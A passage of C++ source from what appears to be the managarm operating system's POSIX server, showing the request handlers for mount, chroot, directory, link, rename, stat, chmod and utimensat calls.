managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::MountRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::MountRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: MOUNT " << req->fs_type() << " on " << req->path()
<< " to " << req->target_path() << std::endl;
auto resolveResult = co_await resolve(self->fsContext()->getRoot(),
self->fsContext()->getWorkingDirectory(), req->target_path());
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto target = resolveResult.value();
if(req->fs_type() == "procfs") {
co_await target.first->mount(target.second, getProcfs());
}else if(req->fs_type() == "sysfs") {
co_await target.first->mount(target.second, getSysfs());
}else if(req->fs_type() == "devtmpfs") {
co_await target.first->mount(target.second, getDevtmpfs());
}else if(req->fs_type() == "tmpfs") {
co_await target.first->mount(target.second, tmp_fs::createRoot());
}else if(req->fs_type() == "devpts") {
co_await target.first->mount(target.second, pts::getFsRoot());
}else{
assert(req->fs_type() == "ext2");
auto sourceResult = co_await resolve(self->fsContext()->getRoot(),
self->fsContext()->getWorkingDirectory(), req->path());
if(!sourceResult) {
if(sourceResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(sourceResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(sourceResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto source = sourceResult.value();
assert(source.second);
assert(source.second->getTarget()->getType() == VfsType::blockDevice);
auto device = blockRegistry.get(source.second->getTarget()->readDevice());
auto link = co_await device->mount();
co_await target.first->mount(target.second, std::move(link));
}
if(logRequests)
std::cout << "posix: MOUNT succeeds" << std::endl;
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::CHROOT) {
if(logRequests)
std::cout << "posix: CHROOT" << std::endl;
helix::SendBuffer send_resp;
auto pathResult = co_await resolve(self->fsContext()->getRoot(),
self->fsContext()->getWorkingDirectory(), req.path());
if(!pathResult) {
if(pathResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(pathResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(pathResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto path = pathResult.value();
self->fsContext()->changeRoot(path);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::CHDIR) {
if(logRequests)
std::cout << "posix: CHDIR" << std::endl;
helix::SendBuffer send_resp;
auto pathResult = co_await resolve(self->fsContext()->getRoot(),
self->fsContext()->getWorkingDirectory(), req.path());
if(!pathResult) {
if(pathResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(pathResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(pathResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto path = pathResult.value();
self->fsContext()->changeWorkingDirectory(path);
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::FCHDIR) {
if(logRequests)
std::cout << "posix: CHDIR" << std::endl;
managarm::posix::SvrResponse resp;
helix::SendBuffer send_resp;
auto file = self->fileContext()->getFile(req.fd());
if(!file) {
resp.set_error(managarm::posix::Errors::NO_SUCH_FD);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
self->fsContext()->changeWorkingDirectory({file->associatedMount(),
file->associatedLink()});
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::ACCESSAT) {
if(logRequests || logPaths)
std::cout << "posix: ACCESSAT " << req.path() << std::endl;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
if(req.flags()) {
if(req.flags() & AT_SYMLINK_NOFOLLOW) {
std::cout << "posix: ACCESSAT flag handling AT_SYMLINK_NOFOLLOW is unimplemented" << std::endl;
} else if(req.flags() & AT_EACCESS) {
std::cout << "posix: ACCESSAT flag handling AT_EACCESS is unimplemented" << std::endl;
} else {
std::cout << "posix: ACCESSAT unknown flag is unimplemented: " << req.flags() << std::endl;
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
}
if(req.fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req.fd());
if(!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
auto pathResult = co_await resolve(self->fsContext()->getRoot(),
relative_to, req.path());
if(!pathResult) {
if(pathResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(pathResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(pathResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto path = pathResult.value();
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto [send_resp] = co_await helix_ng::exchangeMsgs(conversation,
helix_ng::sendBuffer(ser.data(), ser.size()));
HEL_CHECK(send_resp.error());
}else if(req.request_type() == managarm::posix::CntReqType::MKDIRAT) {
if(logRequests || logPaths)
std::cout << "posix: MKDIRAT " << req.path() << std::endl;
helix::SendBuffer send_resp;
managarm::posix::SvrResponse resp;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
if (!req.path().size()) {
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
continue;
}
if(req.fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req.fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req.path());
auto resolveResult = co_await resolver.resolve(resolvePrefix | resolveIgnoreEmptyTrail);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
if(!resolver.hasComponent()) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
auto parent = resolver.currentLink()->getTarget();
auto existsResult = co_await parent->getLink(resolver.nextComponent());
assert(existsResult);
auto exists = existsResult.value();
if(exists) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
auto result = co_await parent->mkdir(resolver.nextComponent());
if(auto error = std::get_if<Error>(&result); error) {
assert(*error == Error::illegalOperationTarget);
resp.set_error(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}else{
resp.set_error(managarm::posix::Errors::SUCCESS);
auto ser = resp.SerializeAsString();
auto &&transmit = helix::submitAsync(conversation, helix::Dispatcher::global(),
helix::action(&send_resp, ser.data(), ser.size()));
co_await transmit.async_wait();
HEL_CHECK(send_resp.error());
}
}else if(preamble.id() == managarm::posix::MkfifoAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::MkfifoAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: MKFIFOAT " << req->fd() << " " << req->path() << std::endl;
if (!req->path().size()) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsLink> target_link;
if (req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve(resolvePrefix);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto parent = resolver.currentLink()->getTarget();
if(co_await parent->getLink(resolver.nextComponent())) {
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
auto result = co_await parent->mkfifo(resolver.nextComponent(), req->mode());
if(!result) {
std::cout << "posix: Unexpected failure from mkfifo()" << std::endl;
co_return;
}
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(preamble.id() == managarm::posix::LinkAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::LinkAtRequest>(recv_head, tail);
if(logRequests)
std::cout << "posix: LINKAT" << std::endl;
if(req->flags() & ~(AT_EMPTY_PATH | AT_SYMLINK_FOLLOW)) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
if(req->flags() & AT_EMPTY_PATH) {
std::cout << "posix: AT_EMPTY_PATH is unimplemented for linkat" << std::endl;
}
if(req->flags() & AT_SYMLINK_FOLLOW) {
std::cout << "posix: AT_SYMLINK_FOLLOW is unimplemented for linkat" << std::endl;
}
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
if(req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if(!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
if (req->newfd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->newfd());
if(!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver new_resolver;
new_resolver.setup(self->fsContext()->getRoot(),
relative_to, req->target_path());
auto new_resolveResult = co_await new_resolver.resolve(resolvePrefix);
if(!new_resolveResult) {
if(new_resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(new_resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(new_resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto target = resolver.currentLink()->getTarget();
auto directory = new_resolver.currentLink()->getTarget();
assert(target->superblock() == directory->superblock()); // Hard links across mount points are not allowed, return EXDEV
auto result = co_await directory->link(new_resolver.nextComponent(), target);
if(!result) {
std::cout << "posix: Unexpected failure from link()" << std::endl;
co_return;
}
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(preamble.id() == managarm::posix::SymlinkAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::SymlinkAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: SYMLINK " << req->path() << std::endl;
ViewPath relativeTo;
smarter::shared_ptr<File, FileHandle> file;
if (!req->path().size()) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
if(req->fd() == AT_FDCWD) {
relativeTo = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relativeTo = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relativeTo, req->path());
auto resolveResult = co_await resolver.resolve(resolvePrefix);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto parent = resolver.currentLink()->getTarget();
auto result = co_await parent->symlink(resolver.nextComponent(), req->target_path());
if(auto error = std::get_if<Error>(&result); error) {
assert(*error == Error::illegalOperationTarget);
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
auto [sendResp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(sendResp.error());
}else if(preamble.id() == managarm::posix::RenameAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::RenameAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: RENAMEAT " << req->path()
<< " to " << req->target_path() << std::endl;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
if (req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
if (req->newfd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->newfd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
PathResolver new_resolver;
new_resolver.setup(self->fsContext()->getRoot(),
relative_to, req->target_path());
auto new_resolveResult = co_await new_resolver.resolve(resolvePrefix);
if(!new_resolveResult) {
if(new_resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(new_resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(new_resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
auto superblock = resolver.currentLink()->getTarget()->superblock();
auto directory = new_resolver.currentLink()->getTarget();
assert(superblock == directory->superblock());
auto result = co_await superblock->rename(resolver.currentLink().get(),
directory.get(), new_resolver.nextComponent());
if(!result) {
assert(result.error() == Error::alreadyExists);
co_await sendErrorResponse(managarm::posix::Errors::ALREADY_EXISTS);
continue;
}
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(preamble.id() == managarm::posix::FstatAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::FstatAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests)
std::cout << "posix: FSTATAT request" << std::endl;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsLink> target_link;
if (req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
if (req->flags() & AT_EMPTY_PATH) {
target_link = file->associatedLink();
} else {
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
ResolveFlags resolveFlags = 0;
if (req->flags() & AT_SYMLINK_NOFOLLOW)
resolveFlags |= resolveDontFollow;
auto resolveResult = co_await resolver.resolve(resolveFlags);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
target_link = resolver.currentLink();
}
auto statsResult = co_await target_link->getTarget()->getStats();
assert(statsResult);
auto stats = statsResult.value();
managarm::posix::SvrResponse resp;
resp.set_error(managarm::posix::Errors::SUCCESS);
DeviceId devnum;
switch(target_link->getTarget()->getType()) {
case VfsType::regular:
resp.set_file_type(managarm::posix::FileType::FT_REGULAR);
break;
case VfsType::directory:
resp.set_file_type(managarm::posix::FileType::FT_DIRECTORY);
break;
case VfsType::symlink:
resp.set_file_type(managarm::posix::FileType::FT_SYMLINK);
break;
case VfsType::charDevice:
resp.set_file_type(managarm::posix::FileType::FT_CHAR_DEVICE);
devnum = target_link->getTarget()->readDevice();
resp.set_ref_devnum(makedev(devnum.first, devnum.second));
break;
case VfsType::blockDevice:
resp.set_file_type(managarm::posix::FileType::FT_BLOCK_DEVICE);
devnum = target_link->getTarget()->readDevice();
resp.set_ref_devnum(makedev(devnum.first, devnum.second));
break;
case VfsType::socket:
resp.set_file_type(managarm::posix::FileType::FT_SOCKET);
break;
case VfsType::fifo:
resp.set_file_type(managarm::posix::FileType::FT_FIFO);
break;
default:
assert(target_link->getTarget()->getType() == VfsType::null);
}
if(stats.mode & ~0xFFFu)
std::cout << "\e[31m" "posix: FsNode::getStats() returned illegal mode of "
<< stats.mode << "\e[39m" << std::endl;
resp.set_fs_inode(stats.inodeNumber);
resp.set_mode(stats.mode);
resp.set_num_links(stats.numLinks);
resp.set_uid(stats.uid);
resp.set_gid(stats.gid);
resp.set_file_size(stats.fileSize);
resp.set_atime_secs(stats.atimeSecs);
resp.set_atime_nanos(stats.atimeNanos);
resp.set_mtime_secs(stats.mtimeSecs);
resp.set_mtime_nanos(stats.mtimeNanos);
resp.set_ctime_secs(stats.ctimeSecs);
resp.set_ctime_nanos(stats.ctimeNanos);
auto [send_resp] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::sendBragiHeadOnly(resp, frg::stl_allocator{})
);
HEL_CHECK(send_resp.error());
}else if(preamble.id() == managarm::posix::FchmodAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::FchmodAtRequest>(recv_head, tail);
if(logRequests)
std::cout << "posix: FCHMODAT request" << std::endl;
ViewPath relative_to;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsLink> target_link;
if(req->fd() == AT_FDCWD) {
relative_to = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relative_to = {file->associatedMount(), file->associatedLink()};
}
if(req->flags()) {
if(req->flags() & AT_SYMLINK_NOFOLLOW) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_SUPPORTED);
continue;
} else if(req->flags() & AT_EMPTY_PATH) {
// Allowed, managarm extension
} else {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
}
if(req->flags() & AT_EMPTY_PATH) {
target_link = file->associatedLink();
} else {
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relative_to, req->path());
auto resolveResult = co_await resolver.resolve();
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
target_link = resolver.currentLink();
}
co_await target_link->getTarget()->chmod(req->mode());
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(preamble.id() == managarm::posix::UtimensAtRequest::message_id) {
std::vector<std::byte> tail(preamble.tail_size());
auto [recv_tail] = co_await helix_ng::exchangeMsgs(
conversation,
helix_ng::recvBuffer(tail.data(), tail.size())
);
HEL_CHECK(recv_tail.error());
auto req = bragi::parse_head_tail<managarm::posix::UtimensAtRequest>(recv_head, tail);
if (!req) {
std::cout << "posix: Rejecting request due to decoding failure" << std::endl;
break;
}
if(logRequests || logPaths)
std::cout << "posix: UTIMENSAT " << req->path() << std::endl;
ViewPath relativeTo;
smarter::shared_ptr<File, FileHandle> file;
std::shared_ptr<FsNode> target = nullptr;
if(!req->path().size()) {
target = self->fileContext()->getFile(req->fd())->associatedLink()->getTarget();
} else {
if(req->flags() & ~AT_SYMLINK_NOFOLLOW) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_ARGUMENTS);
continue;
}
if(req->flags() & AT_SYMLINK_NOFOLLOW) {
std::cout << "posix: AT_SYMLINK_FOLLOW is unimplemented for utimensat" << std::endl;
}
if(req->fd() == AT_FDCWD) {
relativeTo = self->fsContext()->getWorkingDirectory();
} else {
file = self->fileContext()->getFile(req->fd());
if (!file) {
co_await sendErrorResponse(managarm::posix::Errors::BAD_FD);
continue;
}
relativeTo = {file->associatedMount(), file->associatedLink()};
}
PathResolver resolver;
resolver.setup(self->fsContext()->getRoot(),
relativeTo, req->path());
auto resolveResult = co_await resolver.resolve(resolvePrefix);
if(!resolveResult) {
if(resolveResult.error() == protocols::fs::Error::illegalOperationTarget) {
co_await sendErrorResponse(managarm::posix::Errors::ILLEGAL_OPERATION_TARGET);
continue;
} else if(resolveResult.error() == protocols::fs::Error::fileNotFound) {
co_await sendErrorResponse(managarm::posix::Errors::FILE_NOT_FOUND);
continue;
} else if(resolveResult.error() == protocols::fs::Error::notDirectory) {
co_await sendErrorResponse(managarm::posix::Errors::NOT_A_DIRECTORY);
continue;
} else {
std::cout << "posix: Unexpected failure from resolve()" << std::endl;
co_return;
}
}
target = resolver.currentLink()->getTarget();
}
co_await target->utimensat(req->atimeSec(), req->atimeNsec(), req->mtimeSec(), req->mtimeNsec());
co_await sendErrorResponse(managarm::posix::Errors::SUCCESS);
}else if(req.request_type() == managarm::posix::CntReqType::READLINK) {
if(logRequests || logPaths)
std::cout << "posix: READLINK path: " << req.path() << std::endl;
helix::SendBuffer send_resp;
helix::SendBuffer send_data;
auto pathResult = co_await resolve(self->fsContext()->getRoot(),
